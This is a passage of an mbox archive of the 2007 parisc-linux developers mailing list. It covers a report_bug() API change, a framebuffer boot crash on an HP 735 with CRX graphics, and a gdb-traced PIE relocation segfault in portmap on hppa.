	Mon, 23 Jul 2007 14:49:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02285-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:49:29 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 2148B7DCA6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 23 Jul 2007 14:49:28 -0600 (MDT)
Original-Received: (qmail invoked by alias); 23 Jul 2007 20:49:27 -0000
Original-Received: from mnhm-590c245e.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.36.94]
	by mail.gmx.net (mp040) with SMTP; 23 Jul 2007 22:49:27 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200707232047.l6NKl4uj001716@hiauly1.hia.nrc.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: XCaWciJmX1VoOOuYY2Fy8XN3SDc4NEwZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24731

On Monday 23 July 2007, John David Anglin wrote:
> > Hi Joel,
> > 
> > On Sunday 22 July 2007, Joel Soete wrote:
> > > Just try your patch against latest 2.6.22-pa1 and it seems that:
> > >   		enum bug_trap_type tt;
> > > -		tt = report_bug(regs->iaoq[0] & ~3, regs);
> > > +		tt = report_bug(instruction_pointer(regs), regs);
> > > should be
> > > +		tt = report_bug(instruction_pointer(regs));
> > 
> > Why ?
> > In include/linux/bug.h the function report_bug() is defined as:
> > 	report_bug(unsigned long bug_addr, struct pt_regs *regs)
> 
> In 2.6.22.1, it's defined as:
> enum bug_trap_type report_bug(unsigned long bug_addr);
> 
> I had to make the same change as Joel.

Ah, ok..
I'm on 2.6.23pre already...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kurtm22@netscape.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Wed, 25 Jul 2007 14:23:45 -0400
Lines: 279
Approved: news@gmane.org
Message-ID: <8C99D001206F8C3-1154-788__16545.3658126809$1416624418$gmane$org@webmail-dd01.sysops.aol.com>
References: <8C996C28EAB2003-444-120B@WEBMAIL-MA12.sysops.aol.com> <200707172303.06515.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
  boundary="--------MB_8C99D001206F8C3_1154_F37_webmail-dd01.sysops.aol.com"
X-Trace: ger.gmane.org 1416624418 24776 80.91.229.3 (22 Nov 2014 02:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:58 +0000 (UTC)
Cc: deller@gmx.de
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kurtm22@netscape.net>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jul 2007 18:23:53 -0000
Original-Received: from imo-d06.mx.aol.com (EHLO imo-d06.mx.aol.com) [205.188.157.38]
  by mx0.gmx.net (mx099) with SMTP; 25 Jul 2007 20:23:53 +0200
Original-Received: from kurtm22@netscape.net
	by imo-d06.mx.aol.com (mail_out_v38_r9.2.) id n.caf.16809a77 (57871);
	Wed, 25 Jul 2007 14:23:45 -0400 (EDT)
Original-Received: from webmail-dd01 (webmail-dd01.webmail.aol.com [205.188.104.1]) by air-ia02.mail.aol.com (v118.4) with ESMTP id MAILINIA21-e20f46a79530142; Wed, 25 Jul 2007 14:23:45 -0400
In-Reply-To: <200707172303.06515.deller@gmx.de>
X-MB-Message-Source: WebUI
Original-Received: from 63.110.40.90 by webmail-dd01.sysops.aol.com (205.188.104.1) with HTTP (WebMailUI); Wed, 25 Jul 2007 14:23:45 -0400
X-MB-Message-Type: User
X-Mailer: AIM WebMail 28518
X-AOL-IP: 205.188.104.1
X-Spam-Flag: NO
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Da2ScshFRkkfWauPfGRq68xmdWkvKFNC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24732


----------MB_8C99D001206F8C3_1154_F37_webmail-dd01.sysops.aol.com
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="us-ascii"


 Hi Helge,

I did what you suggested and built a new kernel from scratch using the 2.6.22
source tar.? I did not comment out the fb_memset() call in stifb.c
prior to the build so I could post the crash results - perhaps
it will provide more insight to what is going on:

sticon: Initializing sti text console
Console: switching to colour STI console 160x64
Backtrace:
??? [<1044e1b0>] stifb_init_fb+0x67c/0x928
??? [<1044e4c4>] stifb_init+0x68/0xf8
??? ? [<1043d4187>] kernel_init+0xfc/0x2c8
??? [<10109c5c>] ret_from_kernel_thread+0x1c/0x24

kernel fault:? code=15? regs=10984200? (addr=f9000000)

.
.
.
.

I can post more of the dump if you need it.? I left the machine 
sitting there as i am writing down what I see on the screen.

--Kurt



 

-----Original Message-----
From: Helge Deller <deller@gmx.de>
To: kurtm22@netscape.net
Cc: parisc-linux@lists.parisc-linux.org
Sent: Tue, 17 Jul 2007 5:03 pm
Subject: Re: Boot problem with HPPA 735/125 w/ A1439A CRX










Hi Kurt,
CC: parisc-kernel development list

On Tuesday 17 July 2007, kurtm22@netscape.net wrote:
> You seem to be the maintainer for the stifb.c code for the Debian port
> to hppa. I have a 735/125 w/ 520MB mem and A1439A graphics.

The A1439A seems to be a "CRX24 = CRX+ (24-plane color)" graphics card acording 
to include/asm/grfioctl.h linux kernel header source file.

> I have been unable to boot the 2.6.18-4-parisc and 2.6.8-4-32 kernels.
> Before the system panics, 

Your problem looks similiar to this thread:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024834.html
(or search for CRX on: http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/thread.html#24834)
What's the panic message / register dump ?

> there appears to be a line that says "switching to  
> STI color mode (I think).? 

What does it say exactly ?
There are two different strings which can be printed:
a) Console: switching to colour STI console 128x48
b) Console: switching to colour frame buffer device 128x48

The first (a) means it switches to text-only console (sticon), the second (b) is 
printed if the kernel switches to framebuffer mode (stifb).
Only the second one provides /dev/fb0 support and will allow you to use the X 
server.

> So what I am thinking is that there is something 
> up with accessing the hardware through the framebuffer.? 

Yes, might be.
You might want to try a more recent kernel (e.g. build yourself the original 
2.6.22 kernel from kernel.org sources, it should build cleanly on hppa and no 
additional patches are needed).
Looking at the sources, it might be that the fb_memset() call in the function 
rattlerSetupPlanes()  [file: drivers/video/stifb.c] is wrong.
I sadly don't have the hardware to test, but if you compile a kernel, try to 
just delete this fb_memset() call. At least maybe it then maybe doesn't panic 
any more?

Sadly I don't have such a card myself to test.
Anyone wants to send me one ? :-)

> The system has been dist-upgraded to etch from sarge which
> may be why I can boot the 2.4.17-32 kernel but I cannot get X to start:
> -------------------------------------
> X Window System Version 7.1.1
> Release Date: 12 May 2006
> X Protocol Version 11, Revision 0, Release 7.1.1
> Build Operating System: UNKNOWN
> Current Operating System: Linux boss-429 2.4.17-32 #1 Sat Mar 16 17:09:00 MST 
2002 parisc
> Build Date: 03 April 2007
> ??????? Before reporting problems, check http://wiki.x.org
> ??????? to make sure that you have the latest version.
> Module Loader present
> Markers: (--) probed, (**) from config file, (==) default setting,
> ??????? (++) from command line, (!!) notice, (II) informational,
> ??????? (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
> (==) Log file: "/var/log/Xorg.0.log", Time: Tue Jul 17 15:44:00 2007
> (==) Using config file: "/etc/X11/xorg.conf"
> (EE) open /dev/fb0: No such device
> (EE) No devices detected.

Read above.
Probably sticon (which does not provide graphics mode) is active.

> This is what the device file looks like:
> /dev/fb0 = crw-rw---- 1 root video 29, 0 Oct? 3? 1999 /dev/fb0

That's ok.

Helge



 


________________________________________________________________________
Check Out the new free AIM(R) Mail -- Unlimited storage and industry-leading spam and email virus protection.

----------MB_8C99D001206F8C3_1154_F37_webmail-dd01.sysops.aol.com
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset="us-ascii"


<div> Hi Helge,<br>
<br>
I did what you suggested and built a new kernel from scratch using the 2.6.22<br>
source tar.&nbsp; I did not comment out the <tt><tt>fb_memset() call in stifb.c<br>
prior to the build so I could post the crash results - perhaps<br>
it will provide more insight to what is going on:<br>
<br>
sticon: Initializing sti text console<br>
Console: switching to colour STI console 160x64<br>
Backtrace:<br>
&nbsp;&nbsp;&nbsp; [&lt;1044e1b0&gt;] stifb_init_fb+0x67c/0x928<br>
&nbsp;&nbsp;&nbsp; </tt></tt><tt><tt>[&lt;1044e4c4&gt;] stifb_init+0x68/0xf8<span style="font-family: Verdana,Arial,Helvetica,sans-serif;"><br>
&nbsp;&nbsp;&nbsp; &nbsp; </span>[&lt;1043d4187&gt;] kernel_init+0xfc/0x2c8<br>
&nbsp;&nbsp;&nbsp; </tt></tt><tt><tt>[&lt;10109c5c&gt;] ret_from_kernel_thread+0x1c/0x24<br>
<br>
kernel fault:&nbsp; code=15&nbsp; regs=10984200&nbsp; (addr=f9000000)<br>
<br>
.<br>
.<br>
.<br>
.<br>
<br>
I can post more of the dump if you need it.&nbsp; I left the machine <br>
sitting there as i am writing down what I see on the screen.<br>
<br>
--Kurt<br>

</tt></tt></div>

<div> <br>
</div>
-----Original Message-----<br>
From: Helge Deller &lt;deller@gmx.de&gt;<br>
To: kurtm22@netscape.net<br>
Cc: parisc-linux@lists.parisc-linux.org<br>
Sent: Tue, 17 Jul 2007 5:03 pm<br>
Subject: Re: Boot problem with HPPA 735/125 w/ A1439A CRX<br>
<br>






<div id="AOLMsgPart_0_921e2ff8-35fe-4d3f-b7ab-8f92dc087900" style="margin: 0px; font-family: Tahoma,Verdana,Arial,Sans-Serif; font-size: 12px; color: rgb(0, 0, 0); background-color: rgb(255, 255, 255);">

<pre style="font-size: 9pt;"><tt>Hi Kurt,<br>
CC: parisc-kernel development list<br>
<br>
On Tuesday 17 July 2007, <a href="mailto:kurtm22@netscape.net">kurtm22@netscape.net</a> wrote:<br>
&gt; You seem to be the maintainer for the stifb.c code for the Debian port<br>
&gt; to hppa. I have a 735/125 w/ 520MB mem and A1439A graphics.<br>
<br>
The A1439A seems to be a "CRX24 = CRX+ (24-plane color)" graphics card acording <br>
to include/asm/grfioctl.h linux kernel header source file.<br>
<br>
&gt; I have been unable to boot the 2.6.18-4-parisc and 2.6.8-4-32 kernels.<br>
&gt; Before the system panics, <br>
<br>
Your problem looks similiar to this thread:<br>
<a href="http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024834.html" target="_blank">http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/024834.html</a><br>
(or search for CRX on: <a href="http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/thread.html#24834" target="_blank">http://lists.parisc-linux.org/pipermail/parisc-linux/2004-September/thread.html#24834</a>)<br>
What's the panic message / register dump ?<br>
<br>
&gt; there appears to be a line that says "switching to  <br>
&gt; STI color mode (I think).? <br>
<br>
What does it say exactly ?<br>
There are two different strings which can be printed:<br>
a) Console: switching to colour STI console 128x48<br>
b) Console: switching to colour frame buffer device 128x48<br>
<br>
The first (a) means it switches to text-only console (sticon), the second (b) is <br>
printed if the kernel switches to framebuffer mode (stifb).<br>
Only the second one provides /dev/fb0 support and will allow you to use the X <br>
server.<br>
<br>
&gt; So what I am thinking is that there is something <br>
&gt; up with accessing the hardware through the framebuffer.? <br>
<br>
Yes, might be.<br>
You might want to try a more recent kernel (e.g. build yourself the original <br>
2.6.22 kernel from kernel.org sources, it should build cleanly on hppa and no <br>
additional patches are needed).<br>
Looking at the sources, it might be that the fb_memset() call in the function <br>
rattlerSetupPlanes()  [file: drivers/video/stifb.c] is wrong.<br>
I sadly don't have the hardware to test, but if you compile a kernel, try to <br>
just delete this fb_memset() call. At least maybe it then maybe doesn't panic <br>
any more?<br>
<br>
Sadly I don't have such a card myself to test.<br>
Anyone wants to send me one ? :-)<br>
<br>
&gt; The system has been dist-upgraded to etch from sarge which<br>
&gt; may be why I can boot the 2.4.17-32 kernel but I cannot get X to start:<br>
&gt; -------------------------------------<br>
&gt; X Window System Version 7.1.1<br>
&gt; Release Date: 12 May 2006<br>
&gt; X Protocol Version 11, Revision 0, Release 7.1.1<br>
&gt; Build Operating System: UNKNOWN<br>
&gt; Current Operating System: Linux boss-429 2.4.17-32 #1 Sat Mar 16 17:09:00 MST <br>
2002 parisc<br>
&gt; Build Date: 03 April 2007<br>
&gt; ??????? Before reporting problems, check <a href="http://wiki.x.org" target="_blank">http://wiki.x.org</a><br>
&gt; ??????? to make sure that you have the latest version.<br>
&gt; Module Loader present<br>
&gt; Markers: (--) probed, (**) from config file, (==) default setting,<br>
&gt; ??????? (++) from command line, (!!) notice, (II) informational,<br>
&gt; ??????? (WW) warning, (EE) error, (NI) not implemented, (??) unknown.<br>
&gt; (==) Log file: "/var/log/Xorg.0.log", Time: Tue Jul 17 15:44:00 2007<br>
&gt; (==) Using config file: "/etc/X11/xorg.conf"<br>
&gt; (EE) open /dev/fb0: No such device<br>
&gt; (EE) No devices detected.<br>
<br>
Read above.<br>
Probably sticon (which does not provide graphics mode) is active.<br>
<br>
&gt; This is what the device file looks like:<br>
&gt; /dev/fb0 = crw-rw---- 1 root video 29, 0 Oct? 3? 1999 /dev/fb0<br>
<br>
That's ok.<br>
<br>
Helge<br>
</tt></pre>
</div>
 <!-- end of AOLMsgPart_0_921e2ff8-35fe-4d3f-b7ab-8f92dc087900 -->

<div class="AOLPromoFooter">
<hr style="margin-top:10px;" />
<a href="http://pr.atwola.com/promoclk/100122638x1081283466x1074645346/aol?redir=http%3A%2F%2Fwww%2Eaim%2Ecom%2Ffun%2Fmail%2F" target="_blank"><b>Check Out the new free AIM(R) Mail</b></a> -- Unlimited storage and industry-leading spam and email virus protection.<br />
</div>

----------MB_8C99D001206F8C3_1154_F37_webmail-dd01.sysops.aol.com--



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Thu, 26 Jul 2007 17:13:07 -0400 (EDT)
Lines: 72
Approved: news@gmane.org
Message-ID: <200707262113.l6QLD8ZB017056__4880.43001755631$1416624418$gmane$org@hiauly1.hia.nrc.ca>
References: <5b2e36650706110615g20d10f79ue2aa5b11b5fcb185@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624418 24777 80.91.229.3 (22 Nov 2014 02:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 aurelien@aurel32.net
To: jbailey@raspberryginger.com (Jeff Bailey)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2007 21:13:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 26 Jul 2007 23:13:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A0F0B7DCB7;
	Thu, 26 Jul 2007 15:13:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24891-01; Thu, 26 Jul 2007 15:13:33 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B23A17DCB2;
	Thu, 26 Jul 2007 15:13:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F67A7DCA0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jul 2007 15:13:27 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23308-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jul 2007 15:13:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 873A77DC9C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jul 2007 15:13:25 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6QLD9lC017057;
	Thu, 26 Jul 2007 17:13:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6QLD8ZB017056;
	Thu, 26 Jul 2007 17:13:08 -0400 (EDT)
In-Reply-To: <5b2e36650706110615g20d10f79ue2aa5b11b5fcb185@mail.gmail.com>
	from "Jeff Bailey" at Jun 11, 2007 09:15:37 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vDmacgBdf2I+KoicY2xohFhwdWxlcxYR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24733

> PIE's don't work on NPTL either, FWIW.

I did an apt-get upgrade today on one of my systems and noticed
that portmap is now segfaulting at the same spot as nscd (i.e.,
in _start).

I don't know much about the mechanics of pie applications but it
appears that the dynamic loader relocates them like shared libraries.
We don't seem to handle this correctly.

(gdb) break *0x1ad4
Breakpoint 1 at 0x1ad4
(gdb) r
Starting program: /sbin/portmap
Warning:
Cannot insert breakpoint 1.
Error accessing memory address 0x1ad4: Input/output error.

(gdb) disass 0x1ad4 0x1ae4
Dump of assembler code from 0x1ad4 to 0x1ae4:
0x00001ad4 <_init+1040>:        stw r0,-4(sp)
0x00001ad8 <_init+1044>:        stw rp,-14(sp)
0x00001adc <_init+1048>:        ldo 40(sp),sp
0x00001ae0 <_init+1052>:        stw sp,-4(sp)
(gdb) del 1
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /sbin/portmap

Program received signal SIGSEGV, Segmentation fault.
0x41128af0 in ?? ()
(gdb) disass 0x41128ad4 0x41128b00
Dump of assembler code from 0x41128ad4 to 0x41128b00:
0x41128ad4:     stw r0,-4(sp)
0x41128ad8:     stw rp,-14(sp)
0x41128adc:     ldo 40(sp),sp
0x41128ae0:     stw sp,-4(sp)
0x41128ae4:     stw r19,-20(sp)
0x41128ae8:     stw r23,-38(sp)
0x41128aec:     addil L%4112b000,r19,r1
0x41128af0:     ldw -11c(r1),r26
0x41128af4:     ldw 0(r26),r26
0x41128af8:     addil L%4112b000,r19,r1
0x41128afc:     ldw -110(r1),r23
End of assembler dump.
(gdb) p/x $r19
$1 = 0x4112c694
(gdb) p/x $r1
$2 = 0x82257694

Note the offset in the addil insns and the PIC register value.  I see
this relocation with readelf:

00001aec  00000102 R_PARISC_DIR21L   000000f4   .interp + 3df0

This relocation can't be used in a relocatable executable.

We seem to now have a R_PARISC_DLTIND21L in Scrt1.o.  Possibly, portmap
just needs to be relinked.  On the otherhand, it appears to me that
binutils is broken and needs updating for pie.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: aurel32 <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pie is broken on hppa
Date: Thu, 26 Jul 2007 23:34:55 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <20070726213455.GE11851__42882.3778908283$1416624418$gmane$org@hall.aurel32.net>
References: <5b2e36650706110615g20d10f79ue2aa5b11b5fcb185@mail.gmail.com>
	<200707262113.l6QLD8ZB017056@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624418 24780 80.91.229.3 (22 Nov 2014 02:46:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jul 2007 21:35:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 26 Jul 2007 23:35:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 207667DCD6;
	Thu, 26 Jul 2007 15:35:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24809-10; Thu, 26 Jul 2007 15:35:10 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E4AF27DCC5;
	Thu, 26 Jul 2007 15:35:07 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3E8A7DCBB
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jul 2007 15:35:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24891-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jul 2007 15:35:00 -0600 (MDT)
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by free.linux.hp.com (Postfix) with ESMTP id 17CAE7DCB2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Jul 2007 15:35:00 -0600 (MDT)
Original-Received: from aurel32 by hall.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@hall.aurel32.net>)
	id 1IEAz1-0003De-3B; Thu, 26 Jul 2007 23:34:55 +0200
Content-Disposition: inline
In-Reply-To: <200707262113.l6QLD8ZB017056@hiauly1.hia.nrc.ca>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xHbbZstFeSE4eL6WZHQhSOJ2IGRvb0Ce
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24734

On Thu, Jul 26, 2007 at 05:13:07PM -0400, John David Anglin wrote:
> > PIE's don't work on NPTL either, FWIW.
> 
> I did an apt-get upgrade today on one of my systems and noticed
> that portmap is now segfaulting at the same spot as nscd (i.e.,
> in _start).
> 

portmap has been built against libc6-dev 2.5-9 while the PIE fixed
appeared in libc6-dev 2.5-11...

So it need to be rebuilt.

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix hppa glibc build in HEAD and
	glibc-2_6-branch
Date: Fri, 27 Jul 2007 20:34:53 +0200
Lines: 56
